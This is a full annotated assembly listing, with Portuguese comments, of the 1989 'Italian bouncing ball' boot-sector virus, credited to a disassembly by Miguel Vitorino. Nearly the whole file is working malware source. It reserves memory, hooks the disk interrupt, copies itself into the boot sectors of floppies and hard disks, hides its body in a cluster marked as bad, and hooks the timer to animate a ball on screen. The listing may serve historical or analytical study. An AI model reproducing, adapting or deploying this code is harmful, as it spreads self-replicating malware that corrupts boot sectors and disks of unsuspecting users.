; **************************************************
; ***   VIRUS ITALIANO SALTITANTE - A LISTAGEM   ***
; *** Desassemblagem obtida por Miguel Vitorino  ***
; ***    Para : S P O O L E R - Junho de 1989    ***
; **************************************************

.RADIX 16

jmpf	macro	x
	db	0eah
	dd	x
endm

Virus       SEGMENT
assume	cs:virus;ds:virus

jmpf	MACRO	x
	db	0eah
	dd	x
ENDM

org 0100h

begin:	jmp	short entry

		db	1eh-2 dup (?)		; Informacao relativa a' disquete

entry:	xor	ax,ax
		mov	ss,ax
		mov	sp,7c00                 ; Colocar o Stack antes do inicio do
		mov	ds,ax				; virus 
		mov	ax,ds:[0413]           	; Retirar 2 K como se nao existissem
		sub	ax,2				; para que o DOS nao la' chegue !
		mov	ds:[0413],ax
		mov	cl,06                   ; Converter o tamanho da RAM num 
		shl	ax,cl                   ; numero de segmento que se situa nos
		sub	ax,07c0                 ; 2 ultimos K
		mov	es,ax                   ; De seguida passar este programa
		mov	si,7c00                 ; para esse sitio de memoria
		mov	di,si                   ; ( i.e. o programa transfere-se a si
		mov	cx,0100                 ;  proprio )
		repz	movsw	
		mov	cs,ax                   ; Transferencia de controlo para ai!
		push	cs                      ; Agora sim , ja' estamos nos tais 2K
		pop	ds
		call	reset                   ; fazer duas vezes um "reset" ao
reset:	xor	ah,ah                   ; controlador de disco
		int	13
		and	byte ptr ds:drive,80
		mov	bx,ds:sector		; Sector onde esta' o resto do virus
		push	cs
		pop	ax
		sub	ax,0020
		mov	es,ax
		call	ler_sector			; Ler o resto do virus da drive
		mov	bx,ds:sector
		inc	bx
		mov	ax,0ffc0			; Carregar o sector de boot original
		mov	es,ax
		call	ler_sector
		xor	ax,ax
		mov	ds:estado,al
		mov	ds,ax
		mov	ax,ds:[004c]		; "Confiscar" o interrupt 13
		mov	bx,ds:[004e]		; ( operacoes sobre disquetes/discos )
		mov	word ptr ds:[004c],offset int_13
		mov	ds:[004e],cs
		push	cs
		pop	ds
		mov	word ptr ds:velho_13,ax	; Guardar a velha rotina do int. 13
		mov	word ptr ds:velho_13+2,bx
		mov	dl,ds:drive
      	jmpf	0:7c00			; Efectuar o arranque do sistema

Esc_Sector	proc	near
		mov	ax,0301			; Escrever um sector da drive 
		jmp	short cs:transferir
Esc_Sector	endp

Ler_Sector	proc  near
            mov	ax,0201			; Ler um sector da drive
Ler_Sector	endp

Transferir  proc  near				; Efectuar uma transferencia de dados
      	xchg	ax,bx				; de ou para a drive
		add	ax,ds:[7c1c]            ; Este procedimento tem como entrada
		xor	dx,dx				; o numero do sector pretendido ( BX )
		div	ds:[7c18]               ; e de seguida sao feitas as contas 
		inc	dl				; para saber qual a pista e o lado 
		mov	ch,dl				; onde esse sector fica
		xor	dx,dx
		div	ds:[7c1a]
		mov	cl,06
		shl	ah,cl
		or	ah,ch
		mov	cx,ax
		xchg	ch,cl
		mov	dh,dl
		mov	ax,bx				; Depois de todas as contas feitas 
transf:	mov	dl,ds:drive			; pode-se chamar o interrupt 13H
		mov	bx,8000			; es:bx = end. de transferencia
		int	13
		jnb	trans_exit
		pop	ax
trans_exit:	ret	
Transferir	endp

Int_13	proc	near				; Rotina de atendimento ao int. 13H
		push	ds				; (operacoes sobre discos e disquetes)
		push	es
		push	ax
		push	bx
		push	cx
		push	dx
		push	cs
		pop	ds
		push	cs
		pop	es
		test	byte ptr ds:estado,1	; Testar se se esta' a ver se o virus
		jnz	call_BIOS			; esta' no disco
		cmp	ah,2
		jnz	call_BIOS
		cmp	ds:drive,dl			; Ver se a ultima drive que foi 
		mov	ds:drive,dl			; mexida e' igual a' drive onde
		jnz	outra_drv			; se vai mexer
		xor	ah,ah				; Neste momento vai-se tirar a' sorte
		int	1a				; para ver se o virus fica activo 
		test	dh,7f				; Isto e' feito a partir da leitura
		jnz	nao_desp			; da hora e se for igual a um dado
            test  dl,0f0			; numero , o virus e' despoletado
            jnz   nao_desp
            push  dx				; Instalar o movimento da bola
            call  despoletar
            pop   dx
nao_desp:	mov   cx,dx
            sub	dx,ds:semente
		mov	ds:semente,cx
		sub	dx,24
		jb	call_BIOS
outra_drv:	or	byte ptr ds:estado,1	; Indicar que se esta' a testar a 
		push	si				; presenca ou nao do virus na drive
		push	di
		call	contaminar
		pop	di
		pop	si
		and	byte ptr ds:estado,0fe	; Indicar fim de teste de virus
call_BIOS:	pop	dx
		pop	cx
		pop	bx
		pop	ax
		pop	es
		pop	ds
Velho_13	equ	$+1
		jmpf	0:0
Int_13	endp

Contaminar	proc	near
		mov	ax,0201
		mov	dh,0
		mov	cx,1
		call	transf
		test	byte ptr ds:drive,80	; Pediu-se um reset a' drive ?
		jz	testar_drv			; Sim , passar a' contaminacao directa
		mov	si,81be
		mov	cx,4
proximo:	cmp	byte ptr [si+4],1
		jz	ler_sect
		cmp	byte ptr [si+4],4
		jz	ler_sect
		add	si,10
		loop	proximo
		ret

ler_sect:	mov	dx,[si]			; Cabeca+drive
		mov	cx,[si+2]			; Pista+sector inicial
		mov	ax,0201			; Ler esse sector
		call	transf
testar_drv:	mov	si,8002			; Comparar os 28 primeiros bytes para
		mov	di,7c02			; ver se o sector de boot e' o mesmo
		mov	cx,1c				; i.e. ver se a drive ja' foi virada !
		repz	movsb
		cmp	word ptr ds:[offset flag+0400],1357
		jnz	esta_limpa
		cmp	byte ptr ds:flag_2,0
		jnb	tudo_bom
		mov	ax,word ptr ds:[offset prim_dados+0400]
		mov	ds:prim_dados,ax		; Se chegar aqui entao a disquete ja'
		mov	si,ds:[offset sector+0400] ; esta' contaminada !
		jmp	infectar	
tudo_bom:	ret

; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora 
; proceder a' respectiva contaminacao !

esta_limpa:	cmp	word ptr ds:[800bh],0200; Bytes por sector
		jnz	tudo_bom
		cmp	byte ptr ds:[800dh],2	; Sectores por cluster
		jb	tudo_bom
		mov	cx,ds:[800e]		; Sectores reservados
		mov	al,byte ptr ds:[8010]	; Numero de FAT's
		cbw
		mul	word ptr ds:[8016]	; Numero de sectores de FAT
		add	cx,ax
		mov	ax,' '
		mul	word ptr ds:[8011]	; Numero de entradas na root
		add	ax,01ff
		mov	bx,0200
		div	bx
		add	cx,ax
		mov	ds:prim_dados,cx
		mov	ax,ds:[7c13]		; Numero de sectores da drive
		sub	ax,ds:prim_dados
		mov	bl,byte ptr ds:[7c0dh]	; Numero de sectores por cluster
		xor	dx,dx
		xor	bh,bh
		div	bx
		inc	ax
		mov	di,ax
		and	byte ptr ds:estado,0fbh	; Se o numero de clusters dor superior
		cmp	ax,0ff0			; a 0FF0 entao cada entrada na FAT sao
		jbe	sao_3				; 4 nibbles senao sao 3
		or	byte ptr ds:estado,4	; 4 = disco duro ?
sao_3:	mov	si,1				; Escolher sector a infectar
		mov	bx,ds:[7c0e]		; Numero de sectores reservados
		dec	bx
		mov	ds:inf_sector,bx		; Sector a infectar
		mov	byte ptr ds:FAT_sector,0fe
		jmp	short continua

Inf_Sector	dw	1	; Sector a infectar
Prim_Dados  dw    0c    ; Numero do primeiro sector de dados
Estado	db	0	; Estado actual do virus (instalado/nao instalado,etc)
Drive		db	1	; Drive onde se pediu uma accao
Sector	dw	0ec	; Sector auxiliar para procura do virus
Flag_2	db	0	; Estes proximos valores servem para ver se o virus
Flag		dw	1357	; ja' esta' ou nao presente numa drive , bastando
		dw	0aa55 ; comparar se estes valores batem certos para o saber

continua:	inc	word ptr ds:inf_sector
		mov	bx,ds:inf_sector
		add	byte ptr ds:[FAT_sector],2
		call	ler_sector
		jmp	short	l7e4b

; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do 
; virus

verificar:	mov	ax,3				; Media descriptor + ff,ff
		test	byte ptr ds:estado,4	; disco duro ?
		jz	l7e1d
		inc	ax				; Sim , FAT comeca 1 byte mais adiante
l7e1d:	mul	si				; Multiplicar pelo numero do cluster
		shr	ax,1
		sub	ah,ds:FAT_sector
		mov	bx,ax
		cmp	bx,01ff
		jnb	continua
		mov	dx,[bx+8000]		; Ler a entrada na FAT
		test	byte ptr ds:estado,4
		jnz	l7e45
		mov	cl,4
		test	si,1
		jz	l7e42
		shr	dx,cl
l7e42:	and	dh,0f
l7e45:	test	dx,0ffff			; Se a entrada na FAT for zero,entao
		jz	l7e51				; descobriu-se um cluster para por o
l7e4b:	inc	si				; virus , senao passa-se ao proximo
		cmp	si,di				; cluster ate' achar um bom
		jbe	verificar
		ret

; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se 
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
; como um "bad cluster" para o DOS nao aceder a ele

l7e51:	mov	dx,0fff7			; Marcar um "bad cluster" (ff7)
		test	byte ptr ds:estado,4	; Ver qual o tamanho das ents. na FAT
		jnz	l7e68				; ( 3 ou 4 nibbles )
		and	dh,0f
		mov	cl,4
		test	si,1
		jz	l7e68
		shl	dx,cl
l7e68:	or	[bx+8000],dx
		mov	bx,word ptr ds:inf_sector	; Infectar sector !!!
		call	esc_sector
		mov	ax,si
		sub	ax,2
		mov	bl,ds:7c0dh			; Numero de sectores por cluster
		xor	bh,bh
		mul	bx
		add	ax,ds:prim_dados
		mov	si,ax				; SI = sector a infectar
		mov	bx,0				; Ler o sector de boot original
		call	ler_sector
		mov	bx,si
		inc	bx
		call	esc_sector			; ... e guarda'-lo depois do virus
infectar:	mov	bx,si
		mov	word ptr ds:sector,si
		push	cs
		pop	ax
		sub	ax,20				; Escrever o resto do virus
		mov	es,ax
		call	esc_sector
		push	cs
		pop	ax
		sub	ax,40
		mov	es,ax
		mov	bx,0				; Escrever no sector de boot o virus
		call	esc_sector
		ret
Contaminar	endp

Semente	dw	?				; Esta word serve para fins de 
							; temporizacao da bola a saltar
FAT_sector	db    0				; Diz qual e' o numero do sector que
							; se esta' a percorrer quando se 
							; vasculha a FAT

Despoletar	proc	near				; Comecar a mostrar a bola no ecran
	      test  byte ptr ds:estado,2	; Virus ja' esta' activo ?
            jnz   desp_exit			; Sim ,sair
            or    byte ptr ds:estado,2	; Nao , marcar activacao
		mov	ax,0
		mov	ds,ax
		mov	ax,ds:20			; Posicionar interrupt 8 (relogio)
		mov	bx,ds:22
		mov	word ptr ds:20,offset int_8
		mov	ds:22,cs
		push	cs
		pop	ds				; E guardar a rotina anterior
		mov	word ptr ds:velho_8+8,ax
		mov	word ptr ds:velho_8+2,bx
desp_exit:	ret
Despoletar	endp

Int_8		proc	near				; Rotina de atendimento ao interrupt
	      push	ds				; provocado pelo relogio 18.2 vezes
		push	ax				; por segundo . Neste procedimento
		push	bx				; e' que se faz o movimento da bola
		push	cx				; pelo ecran
		push	dx
		push	cs
		pop	ds
		mov	ah,0f				; Ver qual o tipo de modo de video
		int	10
		mov	bl,al
		cmp	bx,ds:modo_pag		; Comparar modo e pagina de video com 
		jz	ler_cur			; os anteriores 
		mov	ds:modo_pag,bx		; Quando aqui chega mudou-se o modo
		dec	ah				; de video
		mov	ds:colunas,ah		; Guardar o numero de colunas
		mov	ah,1
		cmp	bl,7				; Comparar modo com 7 (80x25 Mono)
		jnz	e_CGA
		dec	ah
e_CGA:	cmp	bl,4				; Ve se e' modo grafico 
		jnb	e_grafico
		dec	ah
e_grafico:	mov	ds:muda_attr,ah
		mov	word ptr ds:coordenadas,0101
		mov	word ptr ds:direccao,0101
		mov	ah,3				; Ler a posicao do cursor
		int	10
		push	dx				; ... e guarda-la
		mov	dx,ds:coordenadas
		jmp	short	limites

ler_cur:	mov	ah,3				; Ler a posicao do cursor ...
		int	10
		push	dx				; ... e guarda-la
		mov	ah,2				; Posicionar o cursor no sitio da bola
		mov	dx,ds:coordenadas 
		int	10
		mov	ax,ds:carat_attr
		cmp	byte ptr ds:muda_attr,1
		jnz	mudar_atr
		mov	ax,8307			; Atributos e carater 7
mudar_atr:	mov	bl,ah				; Carregar carater 7 (bola) 
		mov	cx,1
		mov	ah,9				; Escrever a bola no ecran
		int	10
limites:	mov	cx,ds:direccao		; Agora vai-se ver se a bola esta' no
		cmp	dh,0				; ecran . Linha = 0 ?
		jnz	linha_1
		xor	ch,0ff			; Mudar direccao
		inc	ch
linha_1:	cmp	dh,18				; Linha = 24 ?
		jnz	coluna_1
		xor	ch,0ff			; Mudar direccao
		inc	ch
coluna_1:	cmp	dl,0				; Coluna = 0 ?
		jnz	coluna_2
		xor	cl,0ff			; Mudar direccao
		inc	cl
coluna_2:	cmp	dl,ds:colunas		; Colunas = numero de colunas ?
		jnz	esta_fixe
		xor	cl,0ff			; Mudar direccao
		inc	cl
esta_fixe:	cmp	cx,ds:direccao		; Mesma direccao ?
		jnz	act_bola
		mov	ax,ds:carat_attr
		and	al,7
		cmp	al,3
		jnz	nao_e
		xor	ch,0ff
		inc	ch
nao_e:	cmp	al,5
		jnz	act_bola
		xor	cl,0ff
		inc	cl
act_bola:	add	dl,cl				; Actualizar as coordenadas da bola
		add	dh,ch
		mov	ds:direccao,cx
		mov	ds:coordenadas,dx
		mov	ah,2
		int	10
		mov	ah,8				; Ler carater para onde vai a bola
		int	10
		mov	ds:carat_attr,ax
		mov	bl,ah
		cmp	byte ptr ds:muda_attr,1
		jnz	nao_muda
		mov	bl,83				; Novo atributo
nao_muda:	mov	cx,1
		mov	ax,0907			; Escrever a bola no ecran
		int	10
		pop	dx
		mov	ah,2				; Recolocar o cursor no posicao onde
		int	10				; estava antes de escrever a bola
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		pop	ds
velho_8	equ	$+1
		jmpf	0:0
Int_8		endp

Carat_attr	dw	?	; 7fcd
Coordenadas	dw	0101  ; 7fcf
Direccao	dw	0101  ; 7fd1
Muda_attr	db	1	; 7fd3
Modo_pag	dw	?	; 7fd4
Colunas	db	?	; 7fd6

; Os bytes que se seguem destinam-se a reservar espaco para o stack

Virus		ENDS

END		begin